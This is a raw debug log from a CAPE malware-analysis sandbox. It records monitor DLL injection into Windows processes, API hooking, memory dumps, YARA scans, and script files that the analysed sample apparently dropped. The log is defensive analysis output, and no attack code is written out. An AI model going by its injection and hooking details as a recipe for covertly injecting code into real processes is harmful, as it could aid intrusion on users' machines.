2025-12-08 08:32:26,249 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 2712, handle 0x5bc: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe
2025-12-08 08:32:38,281 [root] DEBUG: 2884: AllocationHandler: Allocation already in tracked region list: 0x00230000.
2025-12-08 08:32:38,343 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\notepads.vbs
2025-12-08 08:32:38,359 [root] DEBUG: 2884: DLL loaded at 0x57DE0000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\diasymreader (0x105000 bytes).
2025-12-08 08:32:38,437 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3104 (handle 0x600).
2025-12-08 08:32:38,500 [root] DEBUG: 2884: DLL loaded at 0x57C00000: C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Pae3498d9#\73395fe20a6546d133e57eefc2347a2d\Microsoft.PowerShell.Commands.Management.ni (0x1d7000 bytes).
2025-12-08 08:32:38,562 [root] DEBUG: 2884: InitNewThreadBreakpoints: Breakpoints set for thread 3056 (handle 0x614).
2025-12-08 08:32:38,609 [root] DEBUG: 2884: DLL loaded at 0x742B0000: C:\Windows\system32\PROPSYS (0xf5000 bytes).
2025-12-08 08:32:38,625 [root] DEBUG: 2884: DLL loaded at 0x743F0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32 (0x19e000 bytes).
2025-12-08 08:32:38,640 [root] DEBUG: 2884: DLL loaded at 0x76100000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2025-12-08 08:32:38,656 [root] DEBUG: 2884: DLL loaded at 0x73A90000: C:\Windows\system32\ntmarta (0x21000 bytes).
2025-12-08 08:32:38,656 [root] DEBUG: 2884: DLL loaded at 0x75810000: C:\Windows\system32\WLDAP32 (0x45000 bytes).
2025-12-08 08:32:38,703 [root] DEBUG: 2884: DLL loaded at 0x75F60000: C:\Windows\system32\SETUPAPI (0x19d000 bytes).
2025-12-08 08:32:38,765 [root] DEBUG: 2884: DLL loaded at 0x757A0000: C:\Windows\system32\DEVOBJ (0x12000 bytes).
2025-12-08 08:32:38,796 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Roaming\FgCHe.js to files\128971c9ae22f36db1074ff2e93c2adb07c21eb3e5c139d501e06ef29bf28b97; Size is 637; Max size: 100000000
2025-12-08 08:32:38,812 [root] DEBUG: 3016: api-rate-cap: NtQueryKey hook disabled due to rate
2025-12-08 08:32:38,921 [root] INFO: Added new file to list with pid None and path C:\PSTranscripts\20251208\PowerShell_transcript.USERDUM-NNN0BL9.wIKaDP81.20251208151331.txt
2025-12-08 08:32:38,921 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
2025-12-08 08:32:38,921 [root] DEBUG: 2884: NtTerminateProcess hook: Attempting to dump process 2884
2025-12-08 08:32:38,921 [root] DEBUG: 2884: DoProcessDump: Skipping process dump as code is identical on disk.
2025-12-08 08:32:38,921 [root] DEBUG: 2884: DumpInterestingRegions: Dumping .NET JIT native cache at 0x00230000.
2025-12-08 08:32:38,937 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_159391583824781122025 to CAPE\a5a46bf4b7ba9e2baa16af9697b7ace30ccbcf3f103896d5c2df9547466e82ff; Size is 20822; Max size: 100000000
2025-12-08 08:32:38,937 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_159391583824781122025 (size 20822 bytes)
2025-12-08 08:32:38,937 [root] DEBUG: 2884: DumpInterestingRegions: Dumping .NET JIT native cache at 0x00B10000.
2025-12-08 08:32:38,937 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_120799693824781122025 to CAPE\59bcb83d1ffbe881e8d6acf11394fe8f3edff22f8eba4e11b4f60c9956d0f3dd; Size is 7346; Max size: 100000000
2025-12-08 08:32:38,953 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_120799693824781122025 (size 7346 bytes)
2025-12-08 08:32:38,953 [root] DEBUG: 2884: DumpPEsInRange: Scanning range 0x7FF40000 - 0x7FF40088.
2025-12-08 08:32:38,953 [root] DEBUG: 2884: ScanForDisguisedPE: Size too small: 0x88 bytes
2025-12-08 08:32:38,953 [lib.common.results] INFO: Uploading file C:\tltaQBTn\CAPE\2884_51781353824781122025 to CAPE\184d8ba6726b550399e2d344ad0afd5f0af69b6500174b085c17decc01c5db23; Size is 136; Max size: 100000000
2025-12-08 08:32:38,953 [root] DEBUG: 2884: DumpMemory: Payload successfully created: C:\tltaQBTn\CAPE\2884_51781353824781122025 (size 136 bytes)
2025-12-08 08:32:38,953 [root] DEBUG: 2884: DumpRegion: Dumped entire allocation from 0x7FF40000, size 4096 bytes.
2025-12-08 08:32:38,953 [root] DEBUG: 2884: ProcessTrackedRegion: Dumped region at 0x7FF40000.
2025-12-08 08:32:38,953 [root] DEBUG: 2884: YaraScan: Scanning 0x7FF40000, size 0x88
2025-12-08 08:32:38,968 [root] INFO: Process with pid 2884 has terminated
2025-12-08 08:32:58,718 [root] DEBUG: 1236: CreateProcessHandler: Injection info set for new process 3388: C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe, ImageBase: 0x00A00000
2025-12-08 08:32:58,718 [root] INFO: Announced 32-bit process name: OfficeClickToRun.exe pid: 3388
2025-12-08 08:32:58,718 [lib.api.process] INFO: Monitor config for <Process 3388 OfficeClickToRun.exe>: C:\tmpu4t32fjj\dll\3388.ini
2025-12-08 08:32:58,718 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:58,734 [root] DEBUG: Loader: Injecting process 3388 (thread 3408) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:58,734 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:32:58,734 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:58,734 [lib.api.process] INFO: Injected into 32-bit <Process 3388 OfficeClickToRun.exe>
2025-12-08 08:32:58,734 [root] INFO: Announced 32-bit process name: OfficeClickToRun.exe pid: 3388
2025-12-08 08:32:58,734 [lib.api.process] INFO: Monitor config for <Process 3388 OfficeClickToRun.exe>: C:\tmpu4t32fjj\dll\3388.ini
2025-12-08 08:32:58,734 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:58,750 [root] DEBUG: Loader: Injecting process 3388 (thread 3408) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:58,750 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:32:58,750 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:58,750 [lib.api.process] INFO: Injected into 32-bit <Process 3388 OfficeClickToRun.exe>
2025-12-08 08:32:58,750 [root] DEBUG: 1236: DLL loaded at 0x6FC90000: C:\Windows\system32\sfc (0x3000 bytes).
2025-12-08 08:32:58,750 [root] DEBUG: 1236: DLL loaded at 0x6CC50000: C:\Windows\system32\sfc_os (0xd000 bytes).
2025-12-08 08:32:58,750 [root] DEBUG: 1236: DLL loaded at 0x74C40000: C:\Windows\system32\DEVRTL (0xe000 bytes).
2025-12-08 08:32:58,765 [root] DEBUG: 1236: DLL loaded at 0x72260000: C:\Windows\system32\MPR (0x12000 bytes).
2025-12-08 08:32:58,796 [root] INFO: Announced starting service "b'PcaSvc'"
2025-12-08 08:32:58,796 [lib.api.process] INFO: Monitor config for <Process 376 services.exe>: C:\tmpu4t32fjj\dll\376.ini
2025-12-08 08:32:58,796 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:32:58,796 [root] DEBUG: Loader: Injecting process 376 with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:58,812 [root] DEBUG: 376: Python path set to 'C:\Python38'.
2025-12-08 08:32:58,812 [root] INFO: Disabling sleep skipping.
2025-12-08 08:32:58,812 [root] DEBUG: 376: Dropped file limit defaulting to 100.
2025-12-08 08:32:58,812 [root] DEBUG: 376: parent_has_path: unable to get path for parent process 328
2025-12-08 08:32:58,812 [root] DEBUG: 376: YaraInit: Compiled rules loaded from existing file C:\tmpu4t32fjj\data\yara\capemon.yac
2025-12-08 08:32:58,812 [root] DEBUG: 376: YaraScan: Scanning 0x00A70000, size 0x40944
2025-12-08 08:32:58,812 [root] DEBUG: 376: Monitor initialised: 32-bit capemon loaded in process 376 at 0x6c9a0000, thread 3636, image base 0xa70000, stack from 0x906000-0x910000
2025-12-08 08:32:58,812 [root] DEBUG: 376: Commandline: C:\Windows\system32\services.exe
2025-12-08 08:32:58,812 [root] DEBUG: 376: GetAddressByYara: ModuleBase 0x774E0000 FunctionName LdrpCallInitRoutine
2025-12-08 08:32:58,828 [root] DEBUG: 376: hook_api: LdrpCallInitRoutine export address 0x77538810 obtained via GetFunctionAddress
2025-12-08 08:32:58,828 [root] DEBUG: 376: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:32:58,828 [root] DEBUG: 376: hook_api: Warning - UpdateProcThreadAttribute export address 0x764B020F differs from GetProcAddress -> 0x754F43FB (KERNELBASE.dll::0x143fb)
2025-12-08 08:32:58,828 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:32:58,828 [root] DEBUG: 376: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:32:58,828 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:32:58,828 [root] DEBUG: 376: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:32:58,828 [root] DEBUG: 376: Hooked 611 out of 613 functions
2025-12-08 08:32:58,828 [root] DEBUG: 376: WoW64 not detected.
2025-12-08 08:32:58,828 [root] INFO: Loaded monitor into process with pid 376
2025-12-08 08:32:58,828 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-08 08:32:58,828 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:32:58,843 [lib.api.process] INFO: Injected into 32-bit <Process 376 services.exe>
2025-12-08 08:33:00,843 [root] DEBUG: 376: caller_dispatch: Added region at 0x00A70000 to tracked regions list (ntdll::memcpy returns to 0x00A72979, thread 3208).
2025-12-08 08:33:00,843 [root] DEBUG: 376: YaraScan: Scanning 0x00A70000, size 0x40944
2025-12-08 08:33:00,843 [root] DEBUG: 376: ProcessImageBase: Main module image at 0x00A70000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:33:00,843 [root] DEBUG: 376: CreateProcessHandler: Injection info set for new process 3800: C:\Windows\system32\svchost.exe, ImageBase: 0x00F00000
2025-12-08 08:33:00,859 [root] INFO: Announced 32-bit process name: svchost.exe pid: 3800
2025-12-08 08:33:00,859 [lib.api.process] INFO: Monitor config for <Process 3800 svchost.exe>: C:\tmpu4t32fjj\dll\3800.ini
2025-12-08 08:33:00,859 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:33:00,875 [root] DEBUG: Loader: Injecting process 3800 (thread 3820) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:33:00,875 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:33:00,875 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:33:00,875 [lib.api.process] INFO: Injected into 32-bit <Process 3800 svchost.exe>
2025-12-08 08:33:00,875 [root] INFO: Announced 32-bit process name: svchost.exe pid: 3800
2025-12-08 08:33:00,875 [lib.api.process] INFO: Monitor config for <Process 3800 svchost.exe>: C:\tmpu4t32fjj\dll\3800.ini
2025-12-08 08:33:00,875 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpu4t32fjj\dll\otcZiutY.dll, loader C:\tmpu4t32fjj\bin\jXABFjj.exe
2025-12-08 08:33:00,890 [root] DEBUG: Loader: Injecting process 3800 (thread 3820) with C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:33:00,890 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:33:00,890 [root] DEBUG: Successfully injected DLL C:\tmpu4t32fjj\dll\otcZiutY.dll.
2025-12-08 08:33:00,890 [lib.api.process] INFO: Injected into 32-bit <Process 3800 svchost.exe>
2025-12-08 08:33:00,906 [root] DEBUG: 3800: Python path set to 'C:\Python38'.
2025-12-08 08:33:00,906 [root] DEBUG: 3800: Dropped file limit defaulting to 100.
2025-12-08 08:33:00,906 [root] DEBUG: 3800: parent_has_path: unable to get path for parent process 376
2025-12-08 08:33:00,906 [root] INFO: Disabling sleep skipping.
2025-12-08 08:33:00,906 [root] DEBUG: 3800: YaraInit: Compiled rules loaded from existing file C:\tmpu4t32fjj\data\yara\capemon.yac
2025-12-08 08:33:00,906 [root] DEBUG: 3800: YaraScan: Scanning 0x00F00000, size 0x73ca
2025-12-08 08:33:00,906 [root] DEBUG: 3800: Monitor initialised: 32-bit capemon loaded in process 3800 at 0x6c9a0000, thread 3820, image base 0xf00000, stack from 0x186000-0x190000
2025-12-08 08:33:00,906 [root] DEBUG: 3800: Commandline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted
2025-12-08 08:33:00,906 [root] DEBUG: 3800: GetAddressByYara: ModuleBase 0x774E0000 FunctionName LdrpCallInitRoutine
2025-12-08 08:33:00,921 [root] DEBUG: 3800: hook_api: LdrpCallInitRoutine export address 0x77538810 obtained via GetFunctionAddress
2025-12-08 08:33:00,921 [root] DEBUG: 3800: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:33:00,921 [root] DEBUG: 3800: hook_api: Warning - UpdateProcThreadAttribute export address 0x764B020F differs from GetProcAddress -> 0x754F43FB (KERNELBASE.dll::0x143fb)
2025-12-08 08:33:00,921 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:33:00,921 [root] DEBUG: 3800: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:33:00,921 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:33:00,921 [root] DEBUG: 3800: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:33:00,921 [root] DEBUG: 3800: Hooked 611 out of 613 functions
2025-12-08 08:33:00,921 [root] DEBUG: 3800: WoW64 not detected.
2025-12-08 08:33:00,921 [root] INFO: Loaded monitor into process with pid 3800
2025-12-08 08:33:00,921 [root] DEBUG: 3800: caller_dispatch: Added region at 0x00F00000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x00F01E10, thread 3820).
2025-12-08 08:33:00,921 [root] DEBUG: 3800: YaraScan: Scanning 0x00F00000, size 0x73ca
2025-12-08 08:33:00,921 [root] DEBUG: 3800: ProcessImageBase: Main module image at 0x00F00000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:33:00,921 [root] DEBUG: 3800: DLL loaded at 0x753E0000: C:\Windows\system32\CRYPTBASE (0xc000 bytes).
2025-12-08 08:33:00,937 [root] DEBUG: 3800: DLL loaded at 0x76100000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2025-12-08 08:33:00,937 [root] DEBUG: 3800: DLL loaded at 0x75D80000: C:\Windows\system32\OLEAUT32 (0x8f000 bytes).
2025-12-08 08:33:00,953 [root] DEBUG: 3800: DLL loaded at 0x5F3B0000: c:\windows\system32\pcasvc (0x28000 bytes).
2025-12-08 08:33:00,968 [root] DEBUG: 3800: DLL loaded at 0x75390000: c:\windows\system32\apphelp (0x4c000 bytes).
2025-12-08 08:33:00,968 [root] DEBUG: 3800: DLL loaded at 0x5F370000: c:\windows\system32\AEPIC (0x35000 bytes).
2025-12-08 08:33:00,984 [root] DEBUG: 3800: DLL loaded at 0x766D0000: C:\Windows\system32\SHELL32 (0xc4c000 bytes).
2025-12-08 08:33:01,000 [root] DEBUG: 3800: DLL loaded at 0x6CC50000: c:\windows\system32\sfc (0x3000 bytes).
2025-12-08 08:33:01,015 [root] DEBUG: 3800: DLL loaded at 0x6FC90000: c:\windows\system32\sfc_os (0xd000 bytes).
2025-12-08 08:33:01,015 [root] DEBUG: 3800: DLL loaded at 0x74960000: c:\windows\system32\VERSION (0x9000 bytes).
2025-12-08 08:33:01,015 [root] DEBUG: 3800: DLL loaded at 0x750A0000: c:\windows\system32\wevtapi (0x42000 bytes).
2025-12-08 08:33:01,015 [root] DEBUG: 3800: DLL loaded at 0x75450000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2025-12-08 08:33:01,046 [root] DEBUG: 3800: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:33:01,046 [root] DEBUG: 3800: api-rate-cap: RegEnumKeyExW hook disabled due to rate
2025-12-08 08:33:01,062 [root] INFO: Announced starting service "b'PcaSvc'"
2025-12-08 08:33:02,062 [root] DEBUG: 3800: OpenProcessHandler: Injection info created for process 1236, handle 0x1ac: C:\Windows\explorer.exe
2025-12-08 08:33:02,062 [root] DEBUG: 3800: OpenProcessHandler: Image base for process 3388 (handle 0x1b4): 0x00A00000.
2025-12-08 08:33:02,062 [root] DEBUG: 3800: OpenProcessHandler: Injection info created for process 3388, handle 0x1b4: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
2025-12-08 08:33:02,109 [root] DEBUG: 3388: Python path set to 'C:\Python38'.
2025-12-08 08:33:02,109 [root] DEBUG: 3388: Dropped file limit defaulting to 100.
2025-12-08 08:33:02,125 [root] INFO: Disabling sleep skipping.
2025-12-08 08:33:02,125 [root] DEBUG: 3388: YaraInit: Compiled rules loaded from existing file C:\tmpu4t32fjj\data\yara\capemon.yac
2025-12-08 08:33:02,125 [root] DEBUG: 3388: YaraScan: Scanning 0x00A00000, size 0x4ff29e
2025-12-08 08:33:02,140 [root] DEBUG: 3388: Monitor initialised: 32-bit capemon loaded in process 3388 at 0x6c9a0000, thread 3408, image base 0xa00000, stack from 0x246000-0x250000
2025-12-08 08:33:02,140 [root] DEBUG: 3388: Commandline: "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /user
2025-12-08 08:33:02,140 [root] DEBUG: 3388: GetAddressByYara: ModuleBase 0x774E0000 FunctionName LdrpCallInitRoutine
2025-12-08 08:33:02,156 [root] DEBUG: 3388: hook_api: LdrpCallInitRoutine export address 0x77538810 obtained via GetFunctionAddress
2025-12-08 08:33:02,156 [root] DEBUG: 3388: hook_api: Warning - CreateRemoteThreadEx export address 0x764AF98F differs from GetProcAddress -> 0x754EBB18 (KERNELBASE.dll::0xbb18)
2025-12-08 08:33:02,156 [root] DEBUG: 3388: hook_api: Warning - UpdateProcThreadAttribute export address 0x764B020F differs from GetProcAddress -> 0x754F43FB (KERNELBASE.dll::0x143fb)
2025-12-08 08:33:02,156 [root] WARNING: b'Unable to place hook on GetCommandLineA'
2025-12-08 08:33:02,156 [root] DEBUG: 3388: set_hooks: Unable to hook GetCommandLineA
2025-12-08 08:33:02,156 [root] WARNING: b'Unable to place hook on GetCommandLineW'
2025-12-08 08:33:02,156 [root] DEBUG: 3388: set_hooks: Unable to hook GetCommandLineW
2025-12-08 08:33:02,156 [root] DEBUG: 3388: Hooked 611 out of 613 functions
2025-12-08 08:33:02,156 [root] DEBUG: 3388: WoW64 not detected.
2025-12-08 08:33:02,156 [root] INFO: Loaded monitor into process with pid 3388
2025-12-08 08:33:02,156 [root] DEBUG: 3388: YaraScan: Scanning 0x73110000, size 0xdb862
2025-12-08 08:33:02,171 [root] DEBUG: 3388: caller_dispatch: Added region at 0x73110000 to tracked regions list (ntdll::LdrLoadDll returns to 0x73157FCC, thread 3408).
2025-12-08 08:33:02,171 [root] DEBUG: 3388: ProcessTrackedRegion: Region at 0x73110000 mapped as \Device\HarddiskVolume2\Program Files\Common Files\microsoft shared\ClickToRun\ucrtbase.dll, skipping
2025-12-08 08:33:02,171 [root] DEBUG: 3388: YaraScan: Scanning 0x73200000, size 0x13a92
2025-12-08 08:33:02,171 [root] DEBUG: 3388: caller_dispatch: Added region at 0x73200000 to tracked regions list (ntdll::LdrLoadDll returns to 0x73204996, thread 3408).
2025-12-08 08:33:02,171 [root] DEBUG: 3388: ProcessTrackedRegion: Region at 0x73200000 mapped as \Device\HarddiskVolume2\Program Files\Common Files\microsoft shared\ClickToRun\vcruntime140.dll, skipping
2025-12-08 08:33:02,171 [root] DEBUG: 3388: YaraScan: Scanning 0x73000000, size 0x6ca34
2025-12-08 08:33:02,171 [root] DEBUG: 3388: YaraScan: Scanning 0x72F30000, size 0x29aae
2025-12-08 08:33:02,171 [root] DEBUG: 3388: caller_dispatch: Added region at 0x72F30000 to tracked regions list (ntdll::LdrLoadDll returns to 0x72F3BF9F, thread 3408).
2025-12-08 08:33:02,171 [root] DEBUG: 3388: ProcessTrackedRegion: Region at 0x72F30000 mapped as \Device\HarddiskVolume2\Program Files\Common Files\microsoft shared\ClickToRun\ApiClient.dll, skipping
2025-12-08 08:33:02,171 [root] DEBUG: 3388: caller_dispatch: Added region at 0x00A00000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x00CA71FE, thread 3408).
2025-12-08 08:33:02,171 [root] DEBUG: 3388: YaraScan: Scanning 0x00A00000, size 0x4ff29e
2025-12-08 08:33:02,203 [root] DEBUG: 3388: ProcessImageBase: Main module image at 0x00A00000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:33:02,203 [root] DEBUG: 3388: DLL loaded at 0x753E0000: C:\Windows\system32\CRYPTBASE (0xc000 bytes).
2025-12-08 08:33:02,203 [root] DEBUG: 3388: caller_dispatch: Added region at 0x73000000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x7303A506, thread 3408).
2025-12-08 08:33:02,203 [root] DEBUG: 3388: ProcessTrackedRegion: Region at 0x73000000 mapped as \Device\HarddiskVolume2\Program Files\Common Files\microsoft shared\ClickToRun\msvcp140.dll, skipping
2025-12-08 08:33:02,218 [root] DEBUG: 3388: DLL loaded at 0x72CE0000: C:\Windows\system32\msi (0x246000 bytes).
2025-12-08 08:33:02,218 [root] DEBUG: 3388: DLL loaded at 0x766D0000: C:\Windows\system32\SHELL32 (0xc4c000 bytes).
2025-12-08 08:33:02,218 [root] DEBUG: 3388: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:33:02,234 [root] DEBUG: 3388: DLL loaded at 0x74960000: C:\Windows\system32\VERSION (0x9000 bytes).
2025-12-08 08:33:02,234 [root] DEBUG: 3388: DLL loaded at 0x743F0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\Comctl32 (0x19e000 bytes).
2025-12-08 08:33:02,265 [root] DEBUG: 3388: DLL loaded at 0x74170000: C:\Windows\system32\uxtheme (0x40000 bytes).
2025-12-08 08:33:02,265 [root] DEBUG: 3388: DLL loaded at 0x77630000: C:\Windows\system32\Normaliz (0x3000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x75E10000: C:\Windows\system32\urlmon (0x14a000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x75790000: C:\Windows\system32\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x757E0000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x755C0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x75610000: C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x75620000: C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x75600000: C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x761B0000: C:\Windows\system32\iertutil (0x232000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x75920000: C:\Windows\system32\WININET (0x1e4000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x757C0000: C:\Windows\system32\USERENV (0x17000 bytes).
2025-12-08 08:33:02,281 [root] DEBUG: 3388: DLL loaded at 0x754D0000: C:\Windows\system32\profapi (0xb000 bytes).
2025-12-08 08:33:02,296 [root] DEBUG: 3388: DLL loaded at 0x75350000: C:\Windows\system32\Secur32 (0x8000 bytes).
2025-12-08 08:33:02,312 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\USERDUM-NNN0BL9-20251208-1513.log
2025-12-08 08:33:02,312 [root] DEBUG: 3388: DLL loaded at 0x72CD0000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l2-1-0 (0x4000 bytes).
2025-12-08 08:33:02,312 [root] DEBUG: 3388: DLL loaded at 0x73E80000: C:\Windows\system32\dwmapi (0x13000 bytes).
2025-12-08 08:33:02,328 [root] DEBUG: 3388: DLL loaded at 0x76100000: C:\Windows\system32\CLBCatQ (0x83000 bytes).
2025-12-08 08:33:02,328 [root] DEBUG: 3388: DLL loaded at 0x72B10000: C:\Windows\System32\netprofm (0x5a000 bytes).
2025-12-08 08:33:02,328 [root] DEBUG: 3388: DLL loaded at 0x72C90000: C:\Windows\System32\nlaapi (0x10000 bytes).
2025-12-08 08:33:02,328 [root] DEBUG: 3388: DLL loaded at 0x75450000: C:\Windows\system32\RpcRtRemote (0xe000 bytes).
2025-12-08 08:33:02,328 [root] DEBUG: 3388: api-rate-cap: GetSystemTimeAsFileTime hook disabled due to rate
2025-12-08 08:33:02,343 [root] DEBUG: 3388: DLL loaded at 0x72BF0000: C:\Windows\system32\winhttp (0x58000 bytes).
2025-12-08 08:33:02,343 [root] DEBUG: 3388: DLL loaded at 0x72BA0000: C:\Windows\system32\webio (0x50000 bytes).
2025-12-08 08:33:02,343 [root] DEBUG: 3388: api-rate-cap: NtDelayExecution hook disabled due to rate
2025-12-08 08:33:02,375 [root] DEBUG: 3388: DLL loaded at 0x74ED0000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2025-12-08 08:33:02,421 [root] DEBUG: 3388: DLL loaded at 0x74C60000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2025-12-08 08:33:02,421 [root] DEBUG: 3388: DLL loaded at 0x6FB50000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l2-1-0 (0x4000 bytes).
2025-12-08 08:33:02,437 [root] DEBUG: 3388: DLL loaded at 0x74D50000: C:\Windows\system32\DNSAPI (0x44000 bytes).
2025-12-08 08:33:02,437 [root] DEBUG: 3388: DLL loaded at 0x74E90000: C:\Windows\system32\mswsock (0x3c000 bytes).
2025-12-08 08:33:02,484 [root] DEBUG: 3388: DLL loaded at 0x74E80000: C:\Windows\System32\wship6 (0x6000 bytes).
2025-12-08 08:33:02,500 [root] DEBUG: 3388: DLL loaded at 0x72BF0000: C:\Windows\system32\WINHTTP (0x58000 bytes).
2025-12-08 08:33:02,500 [root] DEBUG: 3388: DLL loaded at 0x72BA0000: C:\Windows\system32\webio (0x50000 bytes).
2025-12-08 08:33:02,500 [root] DEBUG: 3388: DLL loaded at 0x735C0000: C:\Windows\system32\dhcpcsvc6 (0xd000 bytes).
2025-12-08 08:33:02,500 [root] DEBUG: 3388: DLL loaded at 0x74B90000: C:\Windows\system32\credssp (0x8000 bytes).
2025-12-08 08:33:02,500 [root] DEBUG: 3388: DLL loaded at 0x722C0000: C:\Windows\System32\msxml6 (0x158000 bytes).
2025-12-08 08:33:02,515 [root] DEBUG: 3388: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:33:02,515 [root] DEBUG: 3388: DLL loaded at 0x73540000: C:\Windows\system32\dhcpcsvc (0x12000 bytes).
2025-12-08 08:33:02,546 [root] DEBUG: 3388: DLL loaded at 0x749F0000: C:\Windows\System32\wshtcpip (0x5000 bytes).
2025-12-08 08:33:02,546 [root] DEBUG: 3388: DLL loaded at 0x72500000: C:\Windows\system32\rasadhlp (0x6000 bytes).
2025-12-08 08:33:02,546 [root] DEBUG: 3388: DLL loaded at 0x72C80000: C:\Windows\System32\npmproxy (0x8000 bytes).
2025-12-08 08:33:02,562 [root] DEBUG: 3388: DLL loaded at 0x72620000: C:\Windows\system32\napinsp (0x10000 bytes).
2025-12-08 08:33:02,562 [root] DEBUG: 3388: DLL loaded at 0x70F50000: C:\Windows\system32\pnrpnsp (0x12000 bytes).
2025-12-08 08:33:02,562 [root] DEBUG: 3388: DLL loaded at 0x72610000: C:\Windows\System32\winrnr (0x8000 bytes).
